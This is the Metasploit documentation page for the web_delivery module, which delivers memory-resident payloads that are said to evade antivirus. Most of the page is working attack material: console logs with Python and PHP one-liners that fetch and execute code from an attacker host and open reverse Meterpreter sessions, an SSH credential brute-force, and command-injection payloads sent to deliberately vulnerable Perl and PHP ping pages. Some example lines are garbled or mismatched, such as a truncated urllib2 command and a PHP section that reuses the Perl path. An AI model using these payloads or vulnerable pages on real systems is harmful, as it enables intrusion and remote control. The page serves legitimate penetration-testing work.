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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/multi/script/web_delivery.md
Views: 11789

Introduction

The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections.

The web_delivery module supports three different languages for delivery: Python, PHP, and Powershell. You should manually select the correct target based on the victim environment you are exploiting.

For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well.

Verification Steps

To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation:

  1. Start msfconsole

  2. Run: use exploit/multi/script/web_delivery

  3. Run: set target 1 (1 is PHP. You can use show targets to see other options)

  4. Run: set PAYLOAD php/meterpreter/reverse_tcp (You can do show payloads to see what options are suitable for the target)

  5. Run: set LHOST IP (The IP the payload should connect back to)

  6. Do: run

  7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.

  8. Copy the command. Depending on your pentesting scenario, you can either inject the command into a vulnerable application, or run it from the target's shell and get a session:

msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 192.168.2.134
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600

Targets

Python

Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well.

PHP

PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal.

Powershell/Windows

Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component.

Scenarios

Against a compromised web application

web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be:

  1. Start exploit/multi/script/web_delivery

  2. Use Burp Suite to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.

  3. If the modified HTTP/HTTPS request is successful, you should get a session.

Shell upgrade

web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done:

  1. Start exploit/multi/script/web_delivery that generates the command to inject.

  2. Interact with the shell, and copy/paste the command.

  3. You should get a Meterpreter session.

An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through auxialiary/scanner/ssh/ssh_login, and then upgraded via web_delivery.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > run

[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/DovbvqRaB
[*] Local IP: http://192.168.2.117:8080/DovbvqRaB
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
msf exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...

python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
[*] 192.168.2.156    web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.156
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500

^Z
Background session 1? [y/N]  y

msf exploit(web_delivery) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : Ubuntu14
OS           : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
Architecture : x64
Meterpreter  : python/linux
meterpreter >

Vulnerable Pages

Perl cgi

These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial.

Setup

In this example, we make a post form that pings a user provided IP, which is a typical function on many routers and is often abused a similar manner.

  1. Enable cgi: a2enmod cgid

  2. mkdir /var/www/cgi-bin

  3. Enable folder for cgi execution: add ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/" to /etc/apache2/sites-enabled/000-default.conf inside of the VirtualHost tags

  4. Create the vulnerable page by writing the following text to /var/www/cgi-bin/example.pl:

    #!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
print $query->header( -type=> "text/html"),
  $query->start_html();
$query->import_names( 'Q' );
if ( $Q::ip ) {
  print `ping -c 1 $Q::ip`, "<hr>";
}
print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED),
  $query->p("Enter IP to ping:"),
  $query->textfield(-name=>"ip"), #, -id=>"ip"),
  $query->submit(-name=>"submit"),
  $query->end_form(),
  $query->end_html();

  5. Make it executable: chmod +x /var/www/cgi-bin/example.pl

We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1 we'll submit 127.0.0.1;whoami.

curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"

or via GET request:

curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit" (note url encoding)

<!DOCTYPE html
	PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
	 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
www-data
<hr><form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping"><p>Enter IP to ping:</p><input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
</body>
</html>

Exploitation

  1. use exploit/multi/script/web_delivery

  2. set lhost 192.168.2.117

  3. exploit

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/vNPlsjE
[*] Local IP: http://192.168.2.117:8080/vNPlsjE
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
msf exploit(web_delivery) >

Now browse to the site, and submit the form with the text 127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());". If the site seems to freeze, exploitation was most likely successful.

[*] 192.168.2.117    web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.117
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500

or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode to automatically encode for us:

msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
[*] 192.168.2.117    web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.117
[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500
100  1172    0   981  100   191    233     45  0:00:04  0:00:04 --:--:--   233
100  1172    0   981  100   191    158     30  0:00:06  0:00:06 --:--:--     0^CInterrupt: use the 'exit' command to quit
msf exploit(web_delivery) > sessions -l

Active sessions
===============

  Id  Type                      Information   Connection
  --  ----                      -----------   ----------
  4   meterpreter python/linux  www-data @ k  192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)

PHP

In this example we make a post form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.

  1. Enable cgi: a2enmod php7.0

  2. Create the vulnerable page by writing the following text to /var/www/html/example.php:

<html>
  <body>
    <?php
      if ($_POST["ip"]){
        print( shell_exec('ping -c 1 '.$_POST["ip"]) . "<hr>");
      }
      print("<form method=\"post\"
             action=\"/example.php\"
             enctype=\"application/x-www-form-urlencoded\"
             name=\"ping\">
             <p>Enter IP to ping:</p><input type=\"text\" name=\"ip\" value=\"\" />
             <input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
    ?>
  </body>
</html>

We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1 we'll submit 127.0.0.1;whoami.

curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"

<html>
  <body>
    PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
www-data
<hr><form method="post"
             action="/example.php"
             enctype="application/x-www-form-urlencoded"
             name="ping">
             <p>Enter IP to ping:</p><input type="text" name="ip" value="" />
             <input type="submit" name="submit" value="submit" /></form>  </body>
</html>

Exploitation

  1. use exploit/multi/script/web_delivery

  2. set lhost 192.168.2.117

  3. set target 1

  4. set payload php/meterpreter/reverse_tcp

  5. exploit

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/de3uw0
[*] Local IP: http://192.168.2.117:8080/de3uw0
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
msf exploit(web_delivery) >

Now browse to the site, and submit the form with the text 127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));". If the site seems to freeze, exploitation was most likely successful.

[*] 192.168.2.117    web_delivery - Delivering Payload
[*] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500

or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode to automatically encode for us:

msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   490    0   329  100   161  11490   5623 --:--:-- --:--:-- --:--:-- 11344
[*] 192.168.2.117    web_delivery - Delivering Payload
[*] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
100  1132    0   971  100   161    440     73  0:00:02  0:00:02 --:--:--   440^CInterrupt: use the 'exit' command to quit